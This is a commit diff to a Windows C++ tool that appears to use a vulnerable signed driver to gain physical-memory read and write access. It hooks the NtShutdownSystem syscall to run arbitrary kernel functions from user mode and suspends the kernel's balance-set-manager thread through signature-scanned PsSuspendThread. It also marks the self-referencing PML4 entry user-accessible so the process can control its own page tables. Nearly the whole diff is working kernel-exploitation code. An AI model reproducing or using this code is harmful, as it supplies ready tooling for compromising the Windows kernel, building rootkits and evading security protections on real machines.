Testing

PTM/PTM.vcxproj

@@ -144,16 +144,21 @@
   <ItemGroup>
     <ClCompile Include="main.cpp" />
     <ClCompile Include="mem_ctx\mem_ctx.cpp" />
+    <ClCompile Include="set_mgr\set_mgr.cpp" />
     <ClCompile Include="vdm_ctx\vdm_ctx.cpp" />
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="mem_ctx\mem_ctx.hpp" />
+    <ClInclude Include="set_mgr\set_mgr.hpp" />
     <ClInclude Include="util\loadup.hpp" />
     <ClInclude Include="util\nt.hpp" />
     <ClInclude Include="util\util.hpp" />
     <ClInclude Include="vdm\raw_driver.hpp" />
     <ClInclude Include="vdm\vdm.hpp" />
-    <ClInclude Include="vdm_ctx\vdm_ctx.h" />
+    <ClInclude Include="vdm_ctx\vdm_ctx.hpp" />
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="icon.rc" />
   </ItemGroup>
   <Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
   <ImportGroup Label="ExtensionTargets">

PTM/PTM.vcxproj.filters

@@ -15,6 +15,9 @@
     <Filter Include="Header Files\vdm">
       <UniqueIdentifier>{96d7e756-9d5b-4c3c-b594-aff6db3f2d51}</UniqueIdentifier>
     </Filter>
+    <Filter Include="resources">
+      <UniqueIdentifier>{e1778cd8-6b3a-43dc-a95c-7b6f0896373e}</UniqueIdentifier>
+    </Filter>
   </ItemGroup>
   <ItemGroup>
     <ClCompile Include="main.cpp">
@@ -26,6 +29,9 @@
     <ClCompile Include="mem_ctx\mem_ctx.cpp">
       <Filter>Source Files</Filter>
     </ClCompile>
+    <ClCompile Include="set_mgr\set_mgr.cpp">
+      <Filter>Source Files</Filter>
+    </ClCompile>
   </ItemGroup>
   <ItemGroup>
     <ClInclude Include="util\nt.hpp">
@@ -40,14 +46,22 @@
     <ClInclude Include="vdm\vdm.hpp">
       <Filter>Header Files\vdm</Filter>
     </ClInclude>
-    <ClInclude Include="vdm_ctx\vdm_ctx.h">
-      <Filter>Header Files</Filter>
-    </ClInclude>
     <ClInclude Include="mem_ctx\mem_ctx.hpp">
       <Filter>Header Files</Filter>
     </ClInclude>
     <ClInclude Include="util\loadup.hpp">
       <Filter>Header Files\util</Filter>
     </ClInclude>
+    <ClInclude Include="vdm_ctx\vdm_ctx.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+    <ClInclude Include="set_mgr\set_mgr.hpp">
+      <Filter>Header Files</Filter>
+    </ClInclude>
+  </ItemGroup>
+  <ItemGroup>
+    <ResourceCompile Include="icon.rc">
+      <Filter>resources</Filter>
+    </ResourceCompile>
   </ItemGroup>
 </Project>

PTM/icon.rc

@@ -0,0 +1,3 @@
+// Icon Resource Definition
+#define MAIN_ICON                       102
+MAIN_ICON               ICON                    "icon.ico"

PTM/main.cpp

@@ -1,5 +1,5 @@
-#include "vdm_ctx/vdm_ctx.h"
 #include "mem_ctx/mem_ctx.hpp"
+#include "set_mgr/set_mgr.hpp"
 
 int __cdecl main(int argc, char** argv)
 {
@@ -10,24 +10,85 @@ int __cdecl main(int argc, char** argv)
 		return -1;
 	}
 
-	vdm::vdm_ctx vdm;
-	nasa::mem_ctx my_proc(vdm);
+	vdm::read_phys_t _read_phys = 
+		[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return vdm::read_phys(addr, buffer, size);
+	};
 
-	const auto ntoskrnl_base =
-		reinterpret_cast<void*>(
-			util::get_kmodule_base("ntoskrnl.exe"));
+	vdm::write_phys_t _write_phys =
+		[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return vdm::write_phys(addr, buffer, size);
+	};
 
-	const auto ntoskrnl_pde = my_proc.get_pde(ntoskrnl_base);
-	std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
-	std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
-	std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
+	vdm::vdm_ctx vdm(_read_phys, _write_phys);
+	nasa::mem_ctx my_proc(&vdm);
 
+	const auto set_mgr_pethread = 
+		set_mgr::get_setmgr_pethread(vdm);
+
+	const auto result = 
+		set_mgr::stop_setmgr(vdm, set_mgr_pethread);
+
+	std::printf("[+] stop set mgr thread result -> 0x%x (0 == STATUS_SUCCESS)\n", result);
 	if (!vdm::unload_drv(drv_handle, drv_key))
 	{
 		std::printf("[!] unable to unload vulnerable driver...\n");
 		return -1;
 	}
 
+	_read_phys = 
+		[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return my_proc.read_phys(addr, buffer, size);
+	};
+
+	_write_phys =
+		[&](void* addr, void* buffer, std::size_t size) -> bool
+	{
+		return my_proc.write_phys(addr, buffer, size);
+	};
+
+	std::printf("[+] sleeping 30 seconds...\n");
+	Sleep(30000);
+
+	// abuse test, make a vdm using a mem_ctx...
+	vdm = vdm::vdm_ctx(_read_phys, _write_phys);
+
+	const auto current_pml4 =
+		reinterpret_cast<ppml4e>(
+			my_proc.set_page(my_proc.dirbase));
+
+	for (auto idx = 0u; idx < 512; ++idx)
+	{
+		if (current_pml4[idx].present)
+		{
+			std::printf("pml4e at -> 0x%d (0x%p)\n", idx, 
+				reinterpret_cast<std::uintptr_t>(my_proc.dirbase) + idx * sizeof pml4e);
+
+			std::printf("	- pfn: 0x%x\n", current_pml4[idx].pfn);
+			std::printf("	- writeable: %d\n", current_pml4[idx].writeable);
+			std::printf("	- executable: %d\n", !current_pml4[idx].nx);
+
+			if (current_pml4[idx].pfn == reinterpret_cast<std::uintptr_t>(my_proc.dirbase) >> 12)
+			{
+				std::printf("	[!]<- self referencing pml4e found at index: %d ->[!]\n", idx);
+				current_pml4[idx].user_supervisor = true; // you can manage your own paging tables now :^)
+			}
+		}
+	}
+
+	const auto ntoskrnl_base =
+		reinterpret_cast<void*>(
+			util::get_kmodule_base("ntoskrnl.exe"));
+
+	const auto ntoskrnl_pde = 
+		my_proc.get_pde(ntoskrnl_base);
+
+	std::printf("[+] pde.present -> %d\n", ntoskrnl_pde.second.present);
+	std::printf("[+] pde.pfn -> 0x%x\n", ntoskrnl_pde.second.pfn);
+	std::printf("[+] pde.large_page -> %d\n", ntoskrnl_pde.second.large_page);
 	std::printf("[+] press any key to close...\n");
 	std::getchar();
 }

PTM/mem_ctx/mem_ctx.cpp

@@ -2,19 +2,19 @@
 
 namespace nasa
 {
-	mem_ctx::mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid)
+	mem_ctx::mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid)
 		:
-		v_ctx(&v_ctx),
-		dirbase(get_dirbase(v_ctx, pid)),
+		v_ctx(v_ctx),
+		dirbase(get_dirbase(*v_ctx, pid)),
 		pid(pid)
 	{
 		// find an empty pml4e inside of current processes pml4...
 		const auto current_pml4 =
-			v_ctx.get_virtual(reinterpret_cast<std::uintptr_t>(
-				get_dirbase(v_ctx, GetCurrentProcessId())));
+			v_ctx->get_virtual(reinterpret_cast<std::uintptr_t>(
+				get_dirbase(*v_ctx, GetCurrentProcessId())));
 
 		for (auto idx = 100u; idx > 0u; --idx)
-			if (!v_ctx.rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).value)
+			if (!v_ctx->rkm<pml4e>(current_pml4 + (idx * sizeof pml4e)).present)
 				this->pml4e_index = idx;
 
 		// allocate a pdpt
@@ -31,13 +31,17 @@ namespace nasa
 		// get page table entries for new pdpt
 		pt_entries new_pdpt_entries;
 		hyperspace_entries(new_pdpt_entries, new_pdpt.second);
-		this->new_pdpt.first = reinterpret_cast<ppdpte>(new_pdpt_entries.pt.second.pfn << 12);
+
+		this->new_pdpt.first = 
+			reinterpret_cast<ppdpte>(
+				new_pdpt_entries.pt.second.pfn << 12);
 
 		// make a new pml4e that points to our new pdpt.
 		new_pdpt_entries.pml4.second.pfn = new_pdpt_entries.pt.second.pfn;
 
 		// set the pml4e to point to the new pdpt
-		set_pml4e(reinterpret_cast<::ppml4e>(get_dirbase()) + this->pml4e_index, new_pdpt_entries.pml4.second, true);
+		set_pml4e(reinterpret_cast<::ppml4e>(this->dirbase) +
+			this->pml4e_index, new_pdpt_entries.pml4.second, true);
 
 		// make a new pd
 		this->new_pd.second =
@@ -54,7 +58,10 @@ namespace nasa
 		// get paging table entries for pd
 		pt_entries new_pd_entries;
 		hyperspace_entries(new_pd_entries, this->new_pd.second);
-		this->new_pd.first = reinterpret_cast<ppde>(new_pd_entries.pt.second.pfn << 12);
+
+		this->new_pd.first = 
+			reinterpret_cast<ppde>(
+				new_pd_entries.pt.second.pfn << 12);
 
 		// make a new pt
 		this->new_pt.second =
@@ -71,7 +78,10 @@ namespace nasa
 		// get paging table entries for pt
 		pt_entries new_pt_entries;
 		hyperspace_entries(new_pt_entries, this->new_pt.second);
-		this->new_pt.first = reinterpret_cast<ppte>(new_pt_entries.pt.second.pfn << 12);
+
+		this->new_pt.first = 
+			reinterpret_cast<ppte>(
+				new_pt_entries.pt.second.pfn << 12);
 	}
 
 	mem_ctx::~mem_ctx()
@@ -144,7 +154,30 @@ namespace nasa
 		new_addr.pd_index = this->pde_index;
 		new_addr.pt_index = this->pte_index;
 		new_addr.offset = this->page_offset;
-		return new_addr.value;
+
+		// handle TLB issues, the TLB might need to be flushed for this entry...
+		__try
+		{
+			*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
+			return new_addr.value;
+		}
+		__except (EXCEPTION_EXECUTE_HANDLER)
+		{
+			while (true)
+			{
+				while (!SwitchToThread())
+					continue;
+
+				__try
+				{
+					*(std::uint8_t*)new_addr.value = *(std::uint8_t*)new_addr.value;
+					return new_addr.value;
+				} 
+				__except(EXCEPTION_EXECUTE_HANDLER)
+				{}
+			}
+		}
+		return {};
 	}
 
 	void* mem_ctx::get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid)
@@ -153,7 +186,8 @@ namespace nasa
 			reinterpret_cast<std::uint64_t>(
 				v_ctx.get_peprocess(pid));
 
-		return v_ctx.rkm<void*>(peproc + 0x28);
+		return reinterpret_cast<void*>(
+			v_ctx.rkm<pte>(peproc + 0x28).pfn << 12);
 	}
 
 	bool mem_ctx::hyperspace_entries(pt_entries& entries, void* addr)
@@ -371,10 +405,10 @@ namespace nasa
 		}
 	}
 
-	void mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
+	bool mem_ctx::read_phys(void* buffer, void* addr, std::size_t size)
 	{
 		if (!buffer || !addr || !size)
-			return;
+			return false;
 
 		const auto temp_page = set_page(addr);
 		__try
@@ -382,13 +416,16 @@ namespace nasa
 			memcpy(buffer, temp_page, size);
 		}
 		__except (EXCEPTION_EXECUTE_HANDLER)
-		{}
+		{
+			return false;
+		}
+		return true;
 	}
 
-	void mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
+	bool mem_ctx::write_phys(void* buffer, void* addr, std::size_t size)
 	{
 		if (!buffer || !addr || !size)
-			return;
+			return false;
 
 		const auto temp_page = set_page(addr);
 		__try
@@ -396,7 +433,10 @@ namespace nasa
 			memcpy(temp_page, buffer, size);
 		}
 		__except (EXCEPTION_EXECUTE_HANDLER)
-		{}
+		{
+			return false;
+		}
+		return true;
 	}
 
 	void* mem_ctx::virt_to_phys(pt_entries& entries, void* addr)
@@ -445,37 +485,4 @@ namespace nasa
 
 		return reinterpret_cast<void*>((pte.pfn << 12) + virt_addr.offset);
 	}
-
-	unsigned mem_ctx::get_pid() const
-	{
-		return pid;
-	}
-
-	void* mem_ctx::get_dirbase() const
-	{
-		return dirbase;
-	}
-
-	pml4e mem_ctx::operator[](std::uint16_t pml4_idx)
-	{
-		return read_phys<::pml4e>(reinterpret_cast<ppml4e>(this->dirbase) + pml4_idx);
-	}
-
-	pdpte mem_ctx::operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx)
-	{
-		const auto pml4_entry = this->operator[](entry_idx.first);
-		return read_phys<::pdpte>(reinterpret_cast<ppdpte>(pml4_entry.pfn << 12) + entry_idx.second);
-	}
-
-	pde mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
-	{
-		const auto pdpt_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx) });
-		return read_phys<::pde>(reinterpret_cast<ppde>(pdpt_entry.pfn << 12) + std::get<2>(entry_idx));
-	}
-
-	pte mem_ctx::operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx)
-	{
-		const auto pd_entry = this->operator[]({ std::get<0>(entry_idx), std::get<1>(entry_idx), std::get<2>(entry_idx) });
-		return read_phys<::pte>(reinterpret_cast<ppte>(pd_entry.pfn << 12) + std::get<3>(entry_idx));
-	}
 }

PTM/mem_ctx/mem_ctx.hpp

@@ -1,13 +1,13 @@
 #pragma once
 #include "../util/nt.hpp"
-#include "../vdm_ctx/vdm_ctx.h"
+#include "../vdm_ctx/vdm_ctx.hpp"
 
 namespace nasa
 {
 	class mem_ctx
 	{
 	public:
-		explicit mem_ctx(vdm::vdm_ctx& v_ctx, DWORD pid = GetCurrentProcessId());
+		explicit mem_ctx(vdm::vdm_ctx* v_ctx, std::uint32_t pid = GetCurrentProcessId());
 		~mem_ctx();
 
 		auto get_pte(void* addr, bool use_hyperspace = false) -> std::pair<ppte, pte>;
@@ -21,12 +21,10 @@ namespace nasa
 
 		auto get_pml4e(void* addr, bool use_hyperspace = false) -> std::pair<ppml4e, pml4e>;
 		void set_pml4e(void* addr, const ::pml4e& pml4e, bool use_hyperspace = false);
-
-		void* get_dirbase() const;
 		static void* get_dirbase(vdm::vdm_ctx& v_ctx, DWORD pid);
 
-		void read_phys(void* buffer, void* addr, std::size_t size);
-		void write_phys(void* buffer, void* addr, std::size_t size);
+		bool read_phys(void* buffer, void* addr, std::size_t size);
+		bool write_phys(void* buffer, void* addr, std::size_t size);
 
 		template <class T>
 		__forceinline T read_phys(void* addr)
@@ -60,19 +58,15 @@ namespace nasa
 		}
 
 		void* virt_to_phys(pt_entries& entries, void* addr);
+		bool hyperspace_entries(pt_entries& entries, void* addr);
+
 		void* set_page(void* addr);
 		void* get_page() const;
-		unsigned get_pid() const;
-
-		pml4e operator[](std::uint16_t pml4_idx);
-		pdpte operator[](const std::pair<std::uint16_t, std::uint16_t>& entry_idx);
-		pde operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
-		pte operator[](const std::tuple<std::uint16_t, std::uint16_t, std::uint16_t, std::uint16_t>& entry_idx);
-	private:
 
-		bool hyperspace_entries(pt_entries& entries, void* addr);
+		unsigned pid;
 		void* dirbase;
 		vdm::vdm_ctx* v_ctx;
+	private:
 		std::uint16_t pml4e_index, 
 			pdpte_index,
 			pde_index, 
@@ -82,6 +76,5 @@ namespace nasa
 		std::pair<ppdpte, ppdpte> new_pdpt;
 		std::pair<ppde,ppde>      new_pd;
 		std::pair<ppte, ppte>     new_pt;
-		unsigned pid;
 	};
 }

PTM/set_mgr/set_mgr.cpp

@@ -0,0 +1,77 @@
+#include "set_mgr.hpp"
+
+namespace set_mgr
+{
+	auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD
+	{
+		ULONG return_len = 0u;
+		std::size_t alloc_size = 0x1000u;
+		auto process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(malloc(alloc_size));
+
+		while (NtQuerySystemInformation
+		(
+			SystemProcessInformation,
+			process_info,
+			alloc_size,
+			&return_len
+		) == STATUS_INFO_LENGTH_MISMATCH)
+			process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
+				realloc(process_info, alloc_size += 0x1000));
+
+		const auto og_ptr = process_info;
+		while (process_info && process_info->UniqueProcessId != (HANDLE)4)
+			process_info = reinterpret_cast<SYSTEM_PROCESS_INFORMATION*>(
+				reinterpret_cast<std::uintptr_t>(process_info) + process_info->NextEntryOffset);
+
+		auto thread_info = reinterpret_cast<SYSTEM_THREAD_INFORMATION*>(
+			reinterpret_cast<std::uintptr_t>(process_info) + sizeof SYSTEM_PROCESS_INFORMATION);
+
+		static const auto ntoskrnl_base =
+			util::get_kmodule_base("ntoskrnl.exe");
+
+		const auto [ke_balance_um, ke_balance_rva] =
+			util::memory::sig_scan(
+				KE_BALANCE_SIG, KE_BALANCE_MASK);
+
+		auto rip_rva = *reinterpret_cast<std::uint32_t*>(ke_balance_um + 19);
+		const auto ke_balance_set = ntoskrnl_base + ke_balance_rva + 23 + rip_rva;
+
+		const auto [suspend_in_um, suspend_rva] =
+			util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
+
+		rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
+		const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
+
+		static const auto lookup_pethread =
+			util::get_kmodule_export("ntoskrnl.exe", "PsLookupThreadByThreadId");
+
+		for (auto idx = 0u; idx < process_info->NumberOfThreads; ++idx)
+		{
+			if (thread_info[idx].StartAddress == reinterpret_cast<void*>(ke_balance_set))
+			{
+				PETHREAD pethread;
+				auto result = v_ctx.syscall<PsLookupThreadByThreadId>(
+					lookup_pethread, thread_info[idx].ClientId.UniqueThread, &pethread);
+
+				free(og_ptr);
+				return pethread;
+			}
+		}
+
+		free(og_ptr);
+		return {};
+	}
+
+	auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread) -> NTSTATUS
+	{
+		static const auto ntoskrnl_base =
+			util::get_kmodule_base("ntoskrnl.exe");
+
+		const auto [suspend_in_um, suspend_rva] =
+			util::memory::sig_scan(SUSPEND_THREAD_SIG, SUSPEND_THREAD_MASK);
+
+		const auto rip_rva = *reinterpret_cast<std::uint32_t*>(suspend_in_um + 1);
+		const auto ps_suspend_thread = reinterpret_cast<void*>(ntoskrnl_base + rip_rva + 5 + suspend_rva);
+		return v_ctx.syscall<PsSuspendThread>(ps_suspend_thread, pethread, nullptr);
+	}
+}

PTM/set_mgr/set_mgr.hpp

@@ -0,0 +1,18 @@
+#pragma once
+#include "../vdm_ctx/vdm_ctx.hpp"
+
+using PETHREAD = PVOID;
+using PsSuspendThread = NTSTATUS(*)(PETHREAD, PULONG);
+using PsLookupThreadByThreadId = NTSTATUS(*)(HANDLE, PETHREAD*);
+
+#define KE_BALANCE_SIG "\x65\x48\x8B\x04\x25\x00\x00\x00\x00\x48\x8B\x88\x00\x00\x00\x00\x48\x8D\x05"
+#define KE_BALANCE_MASK "xxxxx????xxx????xxx"
+
+#define SUSPEND_THREAD_SIG "\xE8\x00\x00\x00\x00\x8B\xF8\xBA\x50\x73\x53\x75"
+#define SUSPEND_THREAD_MASK "x????xxxxxxx"
+
+namespace set_mgr
+{
+	auto get_setmgr_pethread(vdm::vdm_ctx& v_ctx)->PETHREAD;
+	auto stop_setmgr(vdm::vdm_ctx& v_ctx, PETHREAD pethread)->NTSTATUS;
+}

PTM/util/nt.hpp

@@ -97,7 +97,7 @@ typedef union _pml4e
     struct
     {
         std::uint64_t present : 1;          // Must be 1, region invalid if 0.
-        std::uint64_t ReadWrite : 1;        // If 0, writes not allowed.
+        std::uint64_t writeable : 1;        // If 0, writes not allowed.
         std::uint64_t user_supervisor : 1;   // If 0, user-mode accesses not allowed.
         std::uint64_t PageWriteThrough : 1; // Determines the memory type used to access PDPT.
         std::uint64_t page_cache : 1; // Determines the memory type used to access PDPT.

PTM/util/util.hpp

@@ -293,4 +293,54 @@ namespace util
 		}
 		return NULL;
 	}
+
+	namespace memory
+	{
+		template<std::size_t pattern_length>
+		__forceinline auto sig_scan(const char(&signature)[pattern_length], const char(&mask)[pattern_length]) -> std::pair<std::uintptr_t, std::uint32_t>
+		{
+			static const auto ntoskrnl_module =
+				LoadLibraryEx(
+					"ntoskrnl.exe",
+					NULL,
+					DONT_RESOLVE_DLL_REFERENCES
+				);
+
+			static const auto p_idh = reinterpret_cast<PIMAGE_DOS_HEADER>(ntoskrnl_module);
+			if (p_idh->e_magic != IMAGE_DOS_SIGNATURE)
+				return { {}, {} };
+
+			static const auto p_inh = reinterpret_cast<PIMAGE_NT_HEADERS>((LPBYTE)ntoskrnl_module + p_idh->e_lfanew);
+			if (p_inh->Signature != IMAGE_NT_SIGNATURE)
+				return { {}, {} };
+
+			const auto pattern_view =
+				std::string_view
+			{
+				reinterpret_cast<char*>(ntoskrnl_module),
+				p_inh->OptionalHeader.SizeOfImage
+			};
+
+			std::array<std::pair<char, char>, pattern_length - 1> pattern{};
+			for (std::size_t index = 0; index < pattern_length - 1; index++)
+				pattern[index] = { signature[index], mask[index] };
+
+			auto resultant_address = std::search
+			(
+				pattern_view.cbegin(),
+				pattern_view.cend(),
+				pattern.cbegin(),
+				pattern.cend(),
+				[](char left, std::pair<char, char> right) -> bool {
+					return (right.second == '?' || left == right.first);
+				});
+
+			const auto found_address =
+				resultant_address == pattern_view.cend() ? 0 :
+				reinterpret_cast<std::uintptr_t>(resultant_address.operator->());
+
+			const auto rva = found_address - reinterpret_cast<std::uintptr_t>(ntoskrnl_module);
+			return { found_address, rva };
+		}
+	}
 }

PTM/vdm_ctx/vdm_ctx.cpp

@@ -1,8 +1,11 @@
-#include "vdm_ctx.h"
+#include "vdm_ctx.hpp"
 
 namespace vdm
 {
-	vdm_ctx::vdm_ctx()
+	vdm_ctx::vdm_ctx(read_phys_t& read_func, write_phys_t& write_func)
+		:
+		read_phys(read_func),
+		write_phys(write_func)
 	{
 		// already found the syscall's physical page...
 		if (vdm::syscall_address.load())
@@ -34,9 +37,37 @@ namespace vdm
 			search_thread.join();
 	}
 
+	void vdm_ctx::set_read(read_phys_t& read_func)
+	{
+		this->read_phys = read_func;
+	}
+
+	void vdm_ctx::set_write(write_phys_t& write_func)
+	{
+		this->write_phys = write_func;
+	}
+
+	void vdm_ctx::rkm(void* dst, void* src, std::size_t size)
+	{
+		static const auto ntoskrnl_memcpy =
+			util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+		this->syscall<decltype(&memcpy)>(
+			ntoskrnl_memcpy, dst, src, size);
+	}
+
+	void vdm_ctx::wkm(void* dst, void* src, std::size_t size)
+	{
+		static const auto ntoskrnl_memcpy =
+			util::get_kmodule_export("ntoskrnl.exe", "memcpy");
+
+		this->syscall<decltype(&memcpy)>(
+			ntoskrnl_memcpy, dst, src, size);
+	}
+
 	void vdm_ctx::locate_syscall(std::uintptr_t address, std::uintptr_t length) const
 	{
-		const auto page_data = 
+		const auto page_data =
 			reinterpret_cast<std::uint8_t*>(
 				VirtualAlloc(
 					nullptr,
@@ -49,7 +80,7 @@ namespace vdm
 			if (vdm::syscall_address.load())
 				break;
 
-			if (!vdm::read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
+			if (!read_phys(reinterpret_cast<void*>(address + page), page_data, PAGE_4KB))
 				continue;
 
 			// check the first 32 bytes of the syscall, if its the same, test that its the correct
@@ -60,7 +91,6 @@ namespace vdm
 						reinterpret_cast<void*>(
 							address + page + nt_page_offset));
 		}
-
 		VirtualFree(page_data, PAGE_4KB, MEM_DECOMMIT);
 	}
 
@@ -81,11 +111,11 @@ namespace vdm
 		std::uint8_t orig_bytes[sizeof shellcode];
 
 		// save original bytes and install shellcode...
-		vdm::read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
-		vdm::write_phys(syscall_addr, shellcode, sizeof shellcode);
+		read_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+		write_phys(syscall_addr, shellcode, sizeof shellcode);
 
 		auto result = reinterpret_cast<NTSTATUS(__fastcall*)(void)>(proc)();
-		vdm::write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
+		write_phys(syscall_addr, orig_bytes, sizeof orig_bytes);
 		syscall_mutex.unlock();
 		return result == STATUS_SUCCESS;
 	}

PTM/vdm_ctx/vdm_ctx.hpp

@@ -5,28 +5,35 @@
 #include <thread>
 #include <atomic>
 #include <mutex>
+#include <functional>
 #include "../vdm/vdm.hpp"
 
 namespace vdm
 {
 	// change this to whatever you want :^)
 	constexpr std::pair<const char*, const char*> syscall_hook = { "NtShutdownSystem", "ntdll.dll" };
-
 	inline std::atomic<bool> is_page_found = false;
 	inline std::atomic<void*> syscall_address = nullptr;
-
 	inline std::uint16_t nt_page_offset;
 	inline std::uint32_t nt_rva;
 	inline std::uint8_t* ntoskrnl;
 
+	using read_phys_t = std::function<decltype(vdm::read_phys)>;
+	using write_phys_t = std::function<decltype(vdm::write_phys)>;
+
 	class vdm_ctx
 	{
 	public:
-		vdm_ctx();
+		explicit vdm_ctx(read_phys_t& read_func, write_phys_t& write_func);
+		void set_read(read_phys_t& read_func);
+		void set_write(write_phys_t& write_func);
+		void rkm(void* dst, void* src, std::size_t size);
+		void wkm(void* dst, void* src, std::size_t size);
+
 		template <class T, class ... Ts>
 		__forceinline std::invoke_result_t<T, Ts...> syscall(void* addr, Ts ... args) const
 		{
-			static const auto proc = 
+			static const auto proc =
 				GetProcAddress(
 					LoadLibraryA(syscall_hook.second),
 					syscall_hook.first
@@ -46,12 +53,12 @@ namespace vdm
 
 			std::uint8_t orig_bytes[sizeof jmp_code];
 			*reinterpret_cast<void**>(jmp_code + 6) = addr;
-			vdm::read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+			read_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
 
 			// execute hook...
-			vdm::write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
+			write_phys(vdm::syscall_address.load(), jmp_code, sizeof jmp_code);
 			auto result = reinterpret_cast<T>(proc)(args ...);
-			vdm::write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
+			write_phys(vdm::syscall_address.load(), orig_bytes, sizeof orig_bytes);
 
 			syscall_mutex.unlock();
 			return result;
@@ -60,35 +67,15 @@ namespace vdm
 		template <class T>
 		__forceinline auto rkm(std::uintptr_t addr) -> T
 		{
-			static const auto ntoskrnl_memcpy =
-				util::get_kmodule_export("ntoskrnl.exe", "memcpy");
-
 			T buffer;
-			this->syscall<decltype(&memcpy)>(
-				ntoskrnl_memcpy, &buffer, (void*)addr, sizeof T);
-
+			rkm((void*)&buffer, (void*)addr, sizeof T);
 			return buffer;
 		}
 
 		template <class T>
 		__forceinline void wkm(std::uintptr_t addr, const T& value)
 		{
-			static const auto ntoskrnl_memcpy =
-				util::get_kmodule_export("ntoskrnl.exe", "memcpy");
-
-			this->syscall<decltype(&memcpy)>(
-				ntoskrnl_memcpy, (void*)addr, &value, sizeof T);
-		}
-
-		__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
-		{
-			static const auto ntoskrnl_get_virtual =
-				util::get_kmodule_export(
-					"ntoskrnl.exe",
-					"MmGetVirtualForPhysical");
-
-			return this->syscall<MmGetVirtualForPhysical>(
-				ntoskrnl_get_virtual, addr);
+			wkm((void*)addr, (void*)&value, sizeof T);
 		}
 
 		__forceinline auto get_peprocess(std::uint32_t pid) -> PEPROCESS
@@ -104,11 +91,25 @@ namespace vdm
 				(HANDLE)pid,
 				&peproc
 			);
-
 			return peproc;
 		}
+
+		__forceinline auto get_virtual(std::uintptr_t addr) -> std::uintptr_t
+		{
+			static const auto ntoskrnl_get_virtual =
+				util::get_kmodule_export(
+					"ntoskrnl.exe",
+					"MmGetVirtualForPhysical");
+
+			return this->syscall<MmGetVirtualForPhysical>(
+				ntoskrnl_get_virtual, addr);
+		}
+
 	private:
 		void locate_syscall(std::uintptr_t begin, std::uintptr_t end) const;
 		bool valid_syscall(void* syscall_addr) const;
+
+		read_phys_t read_phys;
+		write_phys_t write_phys;
 	};
 }